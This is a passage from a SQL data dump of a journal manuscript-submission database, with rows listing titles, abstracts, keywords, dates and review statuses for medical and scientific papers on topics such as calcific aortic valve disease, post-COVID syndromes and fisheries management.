publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(11451,11874,45,0,'iphsj-21-11451','Animal Models of Calcific Aortic Valve Disease  ',NULL,15,0,'','Calcific aortic valve disease (CAVD) is a slow, progressive disorder that encompasses from “early sclerosis, characterized by leaflet thickening without left ventricular outflow obstruction, to late stenosis with stiffen leaflets, flow is obstructed, and compromised cardiac function”. CAVD was historically accepted as passive “senile” or “degenerative” process affecting a normal trileaflet or congenital bicuspid valve. But recent scientific discoveries have also shown that it is an active and highly cell-mediated pathobiological process that shares many risk factors with atherosclerosis. Much evidence states that calcific aortic valve disease is not a predictable consequence of aging and may be associated with specific risk factors. However, no drug regimes currently exist to prevent or halt the progression of CAVD in a clinically significant way and the only effective therapy is a surgical valve replacement. Therefore, there is an unmet scientific need to determine pathobiological mechanisms of CAVD and to identify new approaches to treat CAVD. Animal models are emerging as vital tools to this end, facilitated by the advent of new models and improved understanding of the utility of existing models. In this review paper, we will describe the most widely used small and large animal models that have been used to study CAVD.','Calcific aortic valve diseases; Aortic valve Sclerosis; Calcification; Aortic valve stenosis; Atherosclerosis; Animal Models',690,NULL,'2021-11-06',NULL,'Submitted',2,NULL,'2021-12-02',NULL,1,1,'0','Accepted',0,'','',NULL,0,0,0,NULL,0),(11453,11876,277,0,'ipadm-21-11453','Systemic hemodynamic atherothrombotic syndrome: is it the cause of non-stenosing coronary artery disease in the young?',NULL,5,0,'','Cardiovascular diseases continue to be one of the main global health problems today. The burden of disease they generate is very high and the impact they have on the quality of human life is catastrophic, especially because there is an increase in the incidence of cardiometabolic disorders from the earliest ages. Non-stenosing coronary artery disease in the young is a lethal condition that must be managed rapidly to control hypoxemic and oxidative mechanisms at the cardiac tissue level and prevent myocardial necrosis. Although the pathophysiology of ischemic heart disease and acute myocardial infarction are generally associated with established atherosclerotic disease, non-stenosing coronary artery disease is a dilemma in cardiology and emergency departments, due to the large number of different diagnoses and the difficulties in proper management. One of the described causes of coronary vasospasm may be an anaphylactic reaction or Kounis syndrome. However, in those patients with a sudden decrease in coronary blood flow, and in the absence of obvious causes and traditional risk factors, what should be suspected?','Systemic hemodynamic atherothrombotic syndrome, cardiovascular disease, coronary artery disease, young',2805,NULL,'2021-11-06',NULL,'Submitted',2,NULL,'2021-11-15',NULL,1,1,'0',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(11476,11876,277,0,'ipadm-21-11476','Post-COVID 19 cardiovascular syndrome: an entity that cannot go unnoticed in the post-COVID eraa',NULL,5,0,'','Cardiovascular manifestations and complications of COVID-19 are one of the most important topics in the management of this group of patients, due to the risk of morbidity, mortality and loss of functional capacity1. Much of the research on COVID-19 is focused on the acute phase. However, post-COVID 19 syndrome is gaining more and more importance due to the costs and challenges in its management2. Post-COVID 19 syndrome is defined as the permanence or genesis of signs and symptoms depending on the organ affected during the acute phase of COVID-19, which may last indefinitely2. As this syndrome is characterized according to the organ or organs affected, a large number of phenotypes can occur, the most famous of which is the post-COVID 19 neurological syndrome3','Post-COVID 19 cardiovascular syndrome, COVID-19, Post-COVID 19 syndrome',2805,NULL,'2021-11-08',NULL,'Submitted',2,NULL,'2022-06-20',NULL,1,1,'0','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(11479,11892,277,0,'ipadm-21-11479','Orina verde asociada a uso de propofol. A propósito de un caso',NULL,2,0,'','La orina normal tiene un color amarillo ámbar, el cual depende de sus pigmentos, tanto exógenos como endógenos como son el urocromo, porfirinas, bilirrubina y uroeritrina, junto con el volumen y la concentración de la misma (1). Alrededor de la literatura se han descrito más de 20 decoloraciones de la orina en situaciones diversas y no siempre tiene significado clínico, esto ocurre por concentraciones excesivas de pigmentos endógenos o exógenos como fármacos, colorantes alimenticios, toxinas o microbios que también influyen en dicha coloración, algunos ejemplos incluyen la coloración anaranjada en tratamientos con rifampicina, azulada cuando se utiliza azul de metileno en procedimientos diagnósticos o para tratar una metahemoglobinemia, o rojiza en casos de mioglobinuria por rabdomiólisis (2). Sin embargo, el hallazgo de una orina de color verde es muy poco frecuente (3).\r\n','',5023,NULL,'2021-11-08',NULL,'Submitted',2,NULL,'2022-08-18',NULL,1,1,'1','Accept',0,'','',NULL,0,0,0,NULL,0),(11480,11893,251,0,'ipacm-21-11480','Cholesterol crystals in reservosomes: an unsolved mystery.',NULL,3,2,'volume: 12, issue: 4','Here we discuss the description of cholesterol crystals in Trypanosoma cruzi epimastigotes. These unicellular cells are able to manage these crystalline arrangements according to cell requirements and it is also capable to adapt, proliferate and survival even when cholesterol availability is high and crystals seem that will rupture the organelles. ','Cholesterol traffic\r\nCholesterol crystals\r\nTrypanosoma cruzi',3944,NULL,'2021-11-09',NULL,'Submitted',19,NULL,'2021-11-12',NULL,1,1,'1','  ',0,'','',NULL,0,4,0,NULL,0),(11481,11894,85,0,'iphspr-21-11481','The Psychological Effects of the Guatemalan Civil War: A Brief Review of an Exploratory Study Conducted among a Kaqchikel Community',NULL,17,0,'','This study explored the effects of the civil war among a small group of Kaqchikels living in Guatemala.  Participants were targeted in the civil war because they were Mayan and opposed the military government which had the goal of destroying their Mayan culture.  Moreover, their geographical location in the western Highlands of Guatemala made them vulnerable to attacks by the military. During the repression (1980s) the Kaqchikel’s were killed, kidnapped and had other experiences of extreme violence. Even when the war was eventually over, they continued to suffer from post-war conflict, community violence and poverty (Burrell, 2013). ','health, global health, health care ',3282,NULL,'2021-11-09',NULL,'Submitted',14,NULL,'2022-08-03',NULL,1,1,'1','ACCEPT',0,'','',NULL,0,0,0,NULL,0),(11482,9677,251,0,'ipacm-21-11482','Microbes in Human Welfare',NULL,5,0,'','','',785,NULL,'2021-11-09',NULL,'Submitted',2,NULL,'2021-11-23',NULL,1,1,'1','  ',0,NULL,NULL,NULL,0,0,0,NULL,0),(11487,11899,1020,0,'ipmedt-21-11487','Theoretical basis of Potential Interaction between Aspirin and Enalapril in Cardiovascular patients',NULL,17,2,'','Aspirin \r\n Aspirin, is a commonly used drug to treat pain and fever. Acetylsalicylic acid has both anti-inflammatory and antipyretic effects. The drug also suppresses platelet aggregation and is used to prevent stroke and Myocardial Infarction (MI). \r\n Aspirin Mechanism: \r\n Acetyl-Salicylic Acid (ASA) blocks prostaglandin synthesis. Inhibition of COX1 leads to inhibition of platelet aggregation for approximately 7-10 days. Aspirin acetyl binds to the serine residue of the enzyme Cyclooxygenase 1 (COX1), causing irreversible inhibition. This prevents the production of pain-causing prostaglandins. This process also stops the conversion of arachidonic acid to thromboxane A2 (TXA2). It is a powerful inducer of platelet aggregation. Platelet aggregation can cause thrombosis and harmful venous and arterial thromboembolism, which can lead to conditions such as embolism and stroke. \r\n','Pain; Fever; Myocardial Infarction; Platelets; Interaction',5044,NULL,'2021-11-09',NULL,'Submitted',19,NULL,'2021-12-04',NULL,1,1,'0',NULL,0,'','',NULL,0,4,0,NULL,0),(11492,11901,45,0,'iphsj-21-11492','“Quality of life and family support in critically ill patients following ICU discharge”',NULL,14,0,'','Background: Patients following intensive care unit hospitalization may present disability and dysfunction in their physical and cognitive functions1,2. \r\nObjectives: We investigated the quality of life (QoL) of patients following discharge from the intensive care unit and we assessed the role of support by the family members.\r\nMethodology: This retrospective study was conducted at the University Hospital of Thessaly and included patients who stayed for at least 48 hours in ICU and were alive at discharge between 2014 and 2019. The quality of life was assessed by the questionnaire SF-36. The scale of SF-36 score range from 0-100.\r\nResults: A total of 671 participants were included in the study. The mean (SD) SF-36 score was 51.98 (28.18.)  Overall, patients characterized their health fair [mean (SD) SF-item score 2.68 (1.47) out of 5]. Patients actual view on their health condition was similar to what believed for their condition one year before [mean (SD) SF-item score 3.36 (1.49)]. Mortality at ICU discharge was 32.7%. Mortality at 6 months following was 33.2%. \r\nConclusion: The present study shows that the QoL of patients following ICU discharge may be positively affected by the support from spouses or friends.\r\n','ICU, Patients’ support, family support, PICS, Quality of life, Critical Care',4076,NULL,'2021-11-09',NULL,'Submitted',2,NULL,'2021-12-01',NULL,1,1,'0','Accepted',0,'','',NULL,0,0,0,NULL,0),(11493,11876,277,0,'ipadm-21-11493','Diabetes mellitus and post-COVID 19 syndrome: is it a metabolic risk period?',NULL,5,0,'','The COVID-19 pandemic has substantially impacted all fields of medicine globally. The control of chronic non-communicable diseases has been one of the greatest challenges due to the difficulties for the return of face-to-face attendance, the barriers to access health services and the fear of the community to go to medical assistance centers [1,2]. Diabetes mellitus is one of the most prevalent chronic non-communicable diseases in the world, generating the greatest number of complications, increasing the risk of morbidity, mortality and disability [3,4]. Strict adherence to permanent therapeutic plans is one of the greatest challenges for its control, and in the current pandemic where in many parts of the world drugs were scarce and it was not possible to go to pharmacies or hospitals, a worrying lack of control was observed [3,4]. Moreover, those patients with diabetes mellitus who developed COVID-19 had a significantly increased risk of developing a severe phenotype and dying [4].','COVID-19, post-acute COVID-19 syndrome, Diabetes Mellitus, Cardiometabolic Risk Factors, Complications.',2805,NULL,'2021-11-10',NULL,'Submitted',2,NULL,'2022-05-25',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(11530,11938,85,0,'iphspr-21-11530','Facilitating Trust and Communication by Hospital Administrations during a Pandemic: Importance of a Multimodal Approach',NULL,25,0,'','The SARS CoV-2 (COVID-19) pandemic has put immeasurable stress on hospital and medical staff and healthcare organizations. Communication is often challenging during times of crisis, and leaders may struggle to disseminate changing clinical and administrative directives, as well as receive timely feedback from staff. A multimodal communication strategy that incorporates bidirectional and dynamic tools has potential to foster staff engagement and trust. Leadership presence and engagement as well as awareness of safety, job-related challenges and healthcare workers’ stress can facilitate effective communication and ultimately may aid in staff retention. Hospital administrators should ideally balance their communication strategies to both promote efficient delivery and facilitate staff understanding and engagement.','COVID-19, Health, Global health',3282,NULL,'2021-11-12',NULL,'Submitted',2,NULL,'2021-11-30',NULL,1,1,'1','Accepted the article',0,NULL,NULL,NULL,0,0,0,NULL,0),(11534,11703,85,0,'iphspr-21-11534','Impacts of COVID-19 pandemic on Work in South Korea',NULL,3,0,'','The outbreak of COVID-19 has transformed work and the labor market in South Korea since January 2020. Examining the labor statistics, this paper shows that the impact of the COVID-19 on work significantly varies according to economic sectors, employment types, and gender. The impact of the COVID-19 on work might differ across countries as industrial structure, employment practice, production system varies and the responses by the state and business vary across countries.','COVID-19, precarious work, labor market segmentation, global supply chain, universal basic income, South Korea',3282,NULL,'2021-11-12',NULL,'Submitted',2,NULL,'2021-11-30',NULL,1,1,'1','Accepted the article',0,NULL,NULL,NULL,0,0,0,NULL,0),(11541,9821,45,0,'iphsj-21-11541','Assessment of knowledge, attitude and preventive practice towards sexually transmitted infection among tewoderos preparatory school students of debere tabor town, north central Ethiopia',NULL,14,0,'','Background: Sexually transmitted infections (STIs) are diseases that have a substantial public health problem universally. More than 1 million STIs are acquired every day with an estimated 357 million new infections yearly. The youth and adolescents are the most affected groups with STIs due to a lack of knowledge and health care service that lead them to practice unsafe sex and have multiple sexual partners.\r\nObjectives: To assess knowledge, attitude, and preventive practice towards sexually transmitted infection among tewoderos preparatory school students in Debre tabor town, north-central Ethiopia, Ethiopia.\r\nMethods: Cross-sectional study design was conducted and a simple random sampling technique was employed.  A structured self-administered questionnaire was used. 207 study subjects were selected. Tables and graphs with texts were used to present the results.\r\nResult: 53.62% of the respondents had good knowledge about STIs while 37.68% of them had fair knowledge and 3.70% of them had poor knowledge. In attitude assessment 55.1% had a good attitude towards STIs, 34.9% had a favorable attitude while 12.1% of them had a negative attitude towards STIs.\r\nConclusion: The knowledge and attitude of the respondents for STIs were not satisfactory. Hence, increasing awareness and improving the attitudes of the respondents towards STI must be the first action.','sexually transmitted infection\r\nknowledge\r\nattitude\r\npreventive practice',3202,NULL,'2021-11-12',NULL,'Submitted',2,NULL,'2021-12-09',NULL,1,1,'0','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(11546,11947,85,0,'iphspr-21-11546','Precision  Pain  medicine: A multifaceted perspective',NULL,6,0,'','Objective: Precision medicine has become a hyped topic since most of the attention is on the diverse nature of each individual which results in different responses to the same medicine. Setting: We have reviewed different factors from socio-economical to genetic and epigenetic factors and how they potentially impact the person\'s body to react. We have reviewed over 100 studies on probable contributed factors of personalized medicine. And also we have provided guideline and solutions to achieve our goal of Precision  pain medicine ( PPM ).\r\n\r\nResults: Studies show epigenetic factors such as stress, alcohol consumption ,depression , and … have an eminent role .Stress can affect pain threshold, changes in loco-motor activity, body temperature, and catalepsy. Having qualified devices ,medication , physician perspective ,genetics, and even age are influential as well. A road-map has been provided as well to form a global network of PPM.\r\n\r\nConclusion: our study showed that besides genetics , epigenetic ,cultural , political , and … ,also play an important role in PPM. There are many obstacles in the way as well , one of the most prominent setbacks in the progression of PPM is political issues. We have yet a long way to fill blind spots to complete our knowledge','precision medicine, Personalized Medicine, Pain, Epigenetic, Genetic, Socio-Political',3413,NULL,'2021-11-12',NULL,'Submitted',2,NULL,'2021-12-21',NULL,1,1,'1','Accepted the article',0,'','',NULL,0,0,0,NULL,0),(11547,11948,73,0,'ipjnn-21-11547','An Atypical Presentation With Extraocular Muscle Atrophy In Myasthenia Gravis Delaying Diagnosis ',NULL,2,0,'','A 14 year female presented with 10 year history of slowly progressive asymmetric bilateral ptosis and complete bilateral external opthalmoplegia without involving pupil or vision, 1 month history of dysphagia, nasal intonation of voice and proximal muscle weakness without diurnal variation or Fatigability. MRI  showed  normal brain with atrophied extraocular muscles. RNS hinted towards decremental response. Neostigmine challenge, Serum anti-AChR antibody was positive. There was no thymic enlargement. Usually generalization of ocular myasthenia occurs within 2-3 years of onset but in this case it took almost 10 years. Lack of significant diurnal variation may go unnoticed by patient sometimes and may mislead the physician to a very close differential diagnosis of CPEO. In this case so many atypical features are there like lack of significant variation of symptoms, generalization after a stable disease course of 10 years and associated extraocular muscle atrophy.','Myasthenia gravis, Chronic progressive external opthalmoplegia (CPEO), Anti-AChR antibody (Anti-Acetylcholine receptor antibody)',334,NULL,'2021-11-12',NULL,'Submitted',4,NULL,'2022-01-27',NULL,1,1,'0',NULL,0,'','',NULL,0,0,0,NULL,0),(11550,11954,86,0,'ipaom-21-11550','The Importance of Neopterin in COVID-19: the prognostic value and relation with the disease severity',NULL,15,0,'','Coronavirus Disease 2019 [COVID-19], caused by severe acute respiratory syndrome coronavirus 2 [SARS-CoV-2], has rapidly evolved into a global health emergency. Respiratory diseases are the leading causes of morbidity and mortality in patients in these patients, with the disease spectrum ranging, from asymptomatic subclinical infection to severe pneumonia pro- gressing to acute respiratory distress syndrome. In patients with COVID-19, hyper-inflammation is associated with the severity of the disease. High amounts of circulating cytokines have been reported in patients with severe COVID-19. Neopterin [NPT], produced by macrophages when stimulated with interferon[IFN-]gamma, is an important cytokine in the antiviral immune response. NPT has been used as a marker for early assessment of disease severity in different of diseases. The main cause of NPT production is the pro-inflammatory cytokine IFN-. Macrophage activation has also been revealed to be linked with disease severity in SARS-CoV-2 patients. Discovering how various biomarkers behave during the course of the disease can help clinicians decipher information about disease progression. Therefore, using these biomarkers, clinical symptoms can be interpreted more reliably and patients can be classified into mild, severe, or critical conditions. Here, we demonstrate the importance of NPT in the pathogenesis of SARS-CoV-2 and suggest that targeting of NPT in SARS-CoV-2 infection may be critical in the early prediction of disease progression and provision of timely management of infected individuals.','SARS CoV-2,Neopterin, COVID-19, prognosis.',3386,NULL,'2021-11-13',NULL,'Submitted',1,NULL,'2022-06-01',NULL,1,1,'0','accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(11566,11965,975,0,'ipjbs-21-11566','SOX4 gene contributes in induction of uterine adenomyosis ',NULL,14,0,'','The objective of this study was to determine the level expression of SOX4 gene and its role in induce adenomyosis . Tissues specimens (30 patients and 10 healthy  group). Histological study of all tissues were carried out to observe the changes in tissues . Thirty biopsies of hysterectomy were concluded in this study . The expression levels of SOX4 gene were estimated by qRT-PCR . This study recorded the  mean folding  of SOX4  was a highly significant increased (p<0.01) in  patients with adenomyosis (6.96 ± 0.27 ) when compared to the  healthy control group (1.00± 0.00). We concluded the high expression of SOX4 gene had a role in development the uterine adenomyosis   ','SOX4 , Adenomyosis, Gene expression ',4089,NULL,'2021-11-15',NULL,'Submitted',2,NULL,'2021-12-20',NULL,1,1,'0','Can be publish',0,'','',NULL,0,0,0,NULL,0),(11573,11972,91,0,'ijddr-22-11573','THERAPEUTIC POTENTIAL OF CULINARY SPICES',NULL,15,2,'','Spices are herbs used as flavoring, aromatic and coloring agents. The culture of various countries even involves incorporation of spices on a daily basis, not just for their culinary potential, but also for the health benefits they provide. In fact, many age-old scriptures suggest the incorporation of Indian System of Spices in everyday meals to counter many diseases and keep them at bay too. The fact that dietary factors play an important role in treatment as-well-as prevention of diseases, makes it all the more important to conduct research and provide scientific evidence regarding the use of culinary species as potential agents with a therapeutic effect. Such culinary spices have various active phytoconstituents which can have many therapeutic effects and also prove to be great antimicrobial, antidiabetic, anticancer etc. agents. Generally, most of the allopathic drugs are taken individually but unlike them, the spices are consumed in combinations to provide the effect which would be of use to us. Also, due to lesser chances of side effects and treatment of the root cause of any disease, it would be safer and more practical to head for herbal drugs for treating diseases and various other ailments. ','Spices, Culinary Herbs, Pharmacological Potential , Phytoconstituents , Culinary spices ',4839,NULL,'2021-11-16',NULL,'Submitted',19,NULL,'2022-03-26',NULL,1,1,'0',NULL,0,'','',NULL,0,4,0,NULL,0),(11574,11973,326,0,NULL,'Pre-operative Serum Albumin and Body Mass index as predictors of post-operative morbidity and mortality in major open abdominal surgeries',NULL,14,0,'','Background:\r\nHealing is a catabolic process needing energy. Any malnutrition leads to impaired wound healing. Some of the markers of the nutritional status of the body that are routinely used are the BMI and the levels of serum albumin of the patients. In the current study we evaluated the role of serum albumin and Body Mass Index as predictors of postoperative morbidity and mortality both in elective and emergency major surgeries.\r\nAims and objectives: To determine the role of low serum albumin and abnormal BMI and to observe those developing any morbidity and mortality post operatively.\r\nMaterials and methods: The study evaluated a total of 82 patients and undergoing major abdominal surgeries. Those pregnant, having significant co-morbidities were excluded. Pre-operative serum albumin measurements were done, BMI was calculated and post operative morbidity & mortality were recorded. The data was compiled and standard statistical tests applied to analyse the data.\r\nResults: The study was male preponderant with 53 males and 29 females. Mean duration of stay in ICU and ward in those with normal albumin levels was 2.158 days and 8.68 days respectively compared to 4.984 days and 11.06 days in the hypoalbuminemia. There was higher complications in the post-operative period in those patients with hypoalbuminemia and abnormal BMI.\r\nConclusion: Pre-operative Serum albumin and BMI are significant predictors of post-operative morbidity.\r\n','',2505,NULL,'2021-11-16',NULL,'Submitted',4,NULL,'2022-06-29',NULL,1,0,'0',NULL,0,'','',NULL,0,0,0,NULL,0),(11586,11985,277,0,'ipadm-21-11586',' FACTORES DE RIESGO ASOCIADO A INFECCIONES POR BACTERIAS MULTIDROGORESISTENTE EN PACIENTE CON TERAPIA DE SUSTITUCIÓN RENAL',NULL,15,0,'','La demanda de pacientes con necesidad de hemodiálisis a nivel mundial conlleva a que las unidades de salud asuman la responsabilidad de dar atención de calidad y calidez para disminuir la morbilidad durante la estancia en el hospital, más aún de los enfermos que se encuentran en áreas críticas. La hemodiálisis y el encamamiento prolongado en áreas críticas hacen que los pacientes sean susceptibles a las actualmente denominadas Infecciones Asociadas a los Cuidados Sanitarios, que unidas a la problemática de resistencia bacteriana hacen que la prolongación de la estancia hospitalaria y el tratamiento sea más larga, en este trabajo se identificaran por medio de una revisión de la literatura actual, los principales factores de riesgo asociados a infecciones por gérmenes multidrogoresistente en  pacientes con terapia de sustitución renal para ponerlo a disposición de todo el personal de la salud.\r\nPalabras clave:  Factores de riesgo, hemodiálisis, infecciones, multidrogoresistente, críticos, enfermedad renal cronica\r\n','Risk factors, hemodialysis, infections, multidrug resistant, critical, chronic kidney disease',2805,NULL,'2021-11-18',NULL,'Submitted',2,NULL,'2022-04-20',NULL,1,1,'1','ACCEPTED',0,'','',NULL,0,0,0,NULL,0),(11589,11988,1020,0,'ipmedt-21-11589','Study of G-Protein Coupled Receptors and its Clinical uses in Asthma',NULL,17,2,'','Receptors are protein-based chemical structures that receive and transmit signals that can be integrated into biological systems. These signals are usually chemical messengers that attach to a receptor and elicit a cellular/tissue response.\r\nG-Protein Coupled Receptors (GPCRs) are regarded as one of the most widespread families of approved pharmacological targets, having involvement in almost all physiological activities and pathological processes.\r\nGPCRs are integral membrane proteins that cells use to convert extracellular signals into intracellular responses, such as hormone, neurotransmitter, and vision, olfaction, and taste signals. Based on their sequences and structural similarities, these receptors comprise a superfamily of membrane proteins that includes five separate families: rhodopsin (family A), secretin (family B), glutamate (family C), adhesion, and Frizzled/Taste2 [1]. They all have seven transmembrane (TM) helices coupled to three extracellular loops and three intracellular loops in common. Despite its structural similarities, GPCRs have distinct signal-transduction capabilities that involve both G protein-dependent independent signalling pathways, as well as complex regulation mechanisms.\r\n','GPCRs; Asthma; Receptors; Proteins; Cells',5044,NULL,'2021-11-18',NULL,'Submitted',2,NULL,'2022-11-02',NULL,1,1,'1',NULL,0,'','',NULL,0,0,0,NULL,0),(11590,11994,85,0,'iphspr-21-11590','The COVID-19 Pandemic: Through the Eyes of Filipino Healthcare Workers',NULL,3,0,'','The COVID-19 pandemic has impacted healthcare workers with a burden of not just taking care of patients but also of co-workers that have contracted the disease as a hazard of their occupation. The emotional toll that it takes on the healthcare providers will continue long after the COVID-19 pandemic and that burden will be carried in their practice. This pandemic shows that the heart of the Filipino healthcare worker will not falter and as long there is someone in need, they will be there. ','COVID-19, Filipino, Healthcare worker',3282,NULL,'2021-11-18',NULL,'Submitted',2,NULL,'2021-12-07',NULL,1,1,'1','Accepted the article',0,'','',NULL,0,0,0,NULL,0),(11598,11992,639,0,'ipfs-22-11598','Impacts of fishing management on target species',NULL,5,0,'','The design, operation, and performance of fisheries management systems around the world vary widely. There is diversity in management institutions, strategies, and tactics across different geographies, fishing fleets, and taxonomic groups. It is uncertain which individual management elements have the greatest influence on the status of fished populations, as well as which external factors influence the overall success of fisheries management systems, on a global scale. We employed expert surveys to characterise the management systems of 28 major fishing nations based on species, and we investigated the influence of economic, geographic, and fishery-related factors. Science-based catch or effort restrictions are vital for successful fisheries management, and monetary investment in fisheries can benefit management objectives when used to control fishing pressure rather than increase fishing capacity. Countries with less effective management systems today have the greatest opportunity to enhance long-term stock status outcomes and should be the focus of global efforts to improve fisheries management.','Fisheries management, Management institutions, Fishing fleets',1774,NULL,'2021-11-19',NULL,'Submitted',14,NULL,'2023-01-17',NULL,1,1,'1','Accept ',0,NULL,NULL,NULL,0,0,0,NULL,0),(11599,12000,85,0,'iphspr-21-11599','THMs Exposure Risk Assessment and Disease Burden of Bladder Cancer in Drinking-Water of Some Cities in China',NULL,14,0,'','Chlorination has been extensively used for drinking water disinfection with high efficiency for many years in China. To gain a better understanding of the levels and characteristics of THMs and quantitatively evaluate the bladder cancer disease burden exposed to THMs, a study premised on risk assessment and disease burden evaluation is conducted. As a result, four types of THMs are all detected in the drinking water of some cities in China, including chloroform (TCM), bromoform (TBM), dibromochloromethane (DBCM), and bromodichloromethane (BDCM). The health risk of TCM, TBM, DCBM, DBCM is 1.40×10-6, 4.3×10-7, 7.63×10-6, 7.93×10-6, respectively. And the hazard index (HI) values of TCM, TBM, DCBM, DBCM are 0.023, 0.0027, 0.0061, 0.0047, respectively. The PAF of bladder cancer exposed to the THMs is 0.017% in all cities referred to in this study. Combining with the PAF, the corresponding disease burden attributed to the exposure of THMs is 1.89/100,000, indicating that it may cause a certain disease burden.','Trichloroethane; Disinfection By-products; Risk Assessment; Burden of Disease; Drinking Water',3282,NULL,'2021-11-19',NULL,'Submitted',2,NULL,'2022-02-23',NULL,1,1,'1','Accepted the article',0,NULL,NULL,NULL,0,0,0,NULL,0),(11610,12005,975,0,'ipjbs-21-11610','Study of drug effects at the population level',NULL,5,0,'','As with other biomedical disciplines, the boundaries of pharmacology are not sharply defined, nor re they constant. Its exponents are, as benefits pragmatists, ever ready to poah on the territory and techniques of other disciplines, If it ever had a conceptual and technical core that it could really call its own, this has now dwindled almost to the point of extinction, and the subject is defined by its purpose to understand what drugs do to living organisms, and more particularly how their effects can be applied to therapeutics- rather than by its scientific coherence and the structure of pharmacology as it appears today. Within the main subject fall a number of compartments immune pharmacology, pharmacokinetics, etc., which are convenient, if not watertight, sub-divisions. These topics form th main subject matter of this book. Around the edges are several interface disciplines, not covered in this book, which form important two-way bridges between pharmacology and other fields of biomedicine.','biotechnology',4089,NULL,'2021-11-20',NULL,'Submitted',2,NULL,'2021-12-28',NULL,1,1,'1','can be publish',0,NULL,NULL,NULL,0,0,0,NULL,0),(11611,12006,975,0,'ipjbs-21-11611','Overview of Microalga cells',NULL,3,2,'','The reliance on fossil energies continues to be an unsustainable option due to the reduction of reserves and the product of hothouse feasts, in particular carbon dioxide (CO2), released by their combustion. This has led to a significant interest in renewable, sustainable energy sources, one of which is biofuels. Biofuel sources have been considerably delved for the once several decades, and their product can be divided into three generations, videlicet food crops, energy crops, and microalgae. The first generation is grounded on food crops similar as sludge being diverted into energy. In light of the food versus energy debate, the alternate generation transitioned into the growth of devoted energy crops. While this marked a step change in areal energy product (from 172 L/ ha for sludge to 1892 L/ ha), pastoralist land was still needed to grow nonfood crops. To move down from pastoralist land conditions, monoculture represents the third generation of biofuels.','hothouse feasts',4089,NULL,'2021-11-20',NULL,'Submitted',19,NULL,'2021-11-23',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,4,0,NULL,0),(11618,12009,975,0,'ipjbs-21-11618','Weight bearing synovial joints and bioelectrical impedance plethysmography- a perceptive concerning knee joint',NULL,6,0,'','Osteoarthritis of weight-bearing synovial joints is the most common disabling disorder and affects the normal active life enormously.  It also consumes a major amount of financial resources for its diagnosis and relief. Also, two-third of the world population belongs to an economically weaker section of society. Medical facilities in these developing and poor countries are almost negligible or absent.  Modern joint assessment tools are very sophisticated and very costly. Onset, progress and growth of disease can be contained if it is diagnosed at the early stages of development. Several detection and diagnostic technologies are available, but fail to provide a clear picture/state for correct judgement for the status of the disease. The review discusses the benefits and disadvantages of various joints diagnostic and investigative methodologies for the most crippling ailment i.e. osteoarthritis.','Diagnosis, Osteoarthritis, Knee joint,   Bioimpedance plethysmography\r\n\r\n',3677,NULL,'2021-11-21',NULL,'Submitted',2,NULL,'2021-12-10',NULL,1,1,'0','Can be publish',0,'','',NULL,0,0,0,NULL,0),(11619,12011,975,0,'ipjbs-21-11619','NEURALINK TECHNOLOGY : THE FUTURE OF NEURAL ENGINEERING',NULL,15,1,'Biomedical ','As the days are passing by, we come across new and latest inventions which use Artificial Intelligence to ease our usage of the devices. But Neurological Science has also excelled beyond its limits though we are unable to treat some disabilities like Alzheimer\'s, seizures etc. but BMI (Brain-machine interfaces) or “Neural Lace” can be the technology which can improve the sensory and motor function of the Brain and can help to find solution of neurological disorders. Integrating genetical approach with BMI treatment can be very beneficial. Implementing BMI Elon Musk’s company Neuralink has successfully developed a chip which is called Neuarlink or the, “LINK”. The wgoal is to eventually begin implanting devices in paralyzed humans, allowing them to control phones or computers.  In this paper we will discuss the use of Brain machine interface and working of Neuralink. We have also include the implant process of Neuralink.','',4089,NULL,'2021-11-21',NULL,'Submitted',2,NULL,'2021-12-27',NULL,1,1,'0','can be publish',0,'','',NULL,0,0,0,NULL,0),(11620,12012,639,0,'ipfs-22-11620','Assessment of Fish Production Potential in Bishoftu Crater Lakes, Bishoftu, E.Shoa Zone',NULL,14,0,'','Bishoftu Crater Lakes, an economically important lakes in the country. However, the physico-chemical parameters of the lake seem to be threatened by anthropogenic, which in turn affect biotic factors as reflected in fish catch. A study was made to assess the current physico-chemical characteristics, to assess the composition and production potential of the fishes and to assess the constraints that affects the production of the fishes in the lakes during July 2018 - June 2021 in the waterbodies. Temperature ranged from 20.06 ± 0.3 0 C (L. Hora-Kilole) to 21.3 ± 1.5 0C (L. Hora-Arsedi) whereas pH ranged from 8.4 ± 0.8 (L. Koriftu) to 9.1 ± 0.1(Hora-Kilole). Dissolved oxygen varied from 6.4.31 ± 0.8 to 7.9 ± 0.9 mg/l. Low dissolved oxygen was measured at Lake Koriftu categorized as heavily impacted sites. Conductivity varied from 345.1±2.4 in L.Koriftu to 967±36 μS/cm (L.Babogaya). Soluble Reactive Phosphate varied from 39.36±0.3 (H.kilole) to 51.13±5.2 μg/l (Koriftu) and nitrite ranged from 31.2±5.4 (Babogaya) to 44.05±0.6 μg/l (Koriftu). Five species of fishes in the Families Cyprinidae, Clariidae and Cichilidae were identified from the lakes. The species were Cyprinus carpio, Labeobarbus intermedius from the Family Cyprinidae, Clarias gariepinus from the Family Clariidae and Oreochromis niloticus and Tilapia zillii from the Family Cichilidae. Oreochromis niloticus and T.zillii were more abundant in all lakes as compare to other fish species. The estimated mean annual catch in tons per gear type were 2.3, 2.8, 1.1 and 1.6 for Lake H.kilole, H.Arsedi, Koriftu and Babogaya, respectively. Open access to the resource and pollution the major problems in the lakes.  Thus, as a recommendation management tools like mesh size regulations, gear restrictions and limits on the number of fishers has to be for sustainable exploitation of the stocks and needs to develop aquaculture technologies like cage culture in the lakes.\r\nKey words: Bishoftu Crater Lakes, Fish catch and fishery constraints ','',1774,NULL,'2021-11-22',NULL,'Submitted',14,NULL,'2023-01-31',NULL,1,1,'0','Accept ',0,'','',NULL,0,0,0,NULL,0),(11670,12050,85,0,'iphspr-21-11670','Development of a mixed-method needs assessment to the improve quality of life of LGBTQ older adults',NULL,19,0,'','While health-related research on lesbian, gay, bisexual, transgender, and queer (LGBTQ) older adults has grown, more research is necessary to understand this population. Howard Brown Health (HBH) conducted a mixed method needs assessment in Cook County, IL. The purpose of this article is to describe the development of the community survey, focus group guidebook, and study protocol. HBH created the needs assessment to increase knowledge about access to and need for services and barriers to care among LGBTQ aging patients. Furthermore, the study explored how subgroups based on sexual orientation, gender identity, race, ethnicity, and veteran status differed in access, needs, and barriers to care. 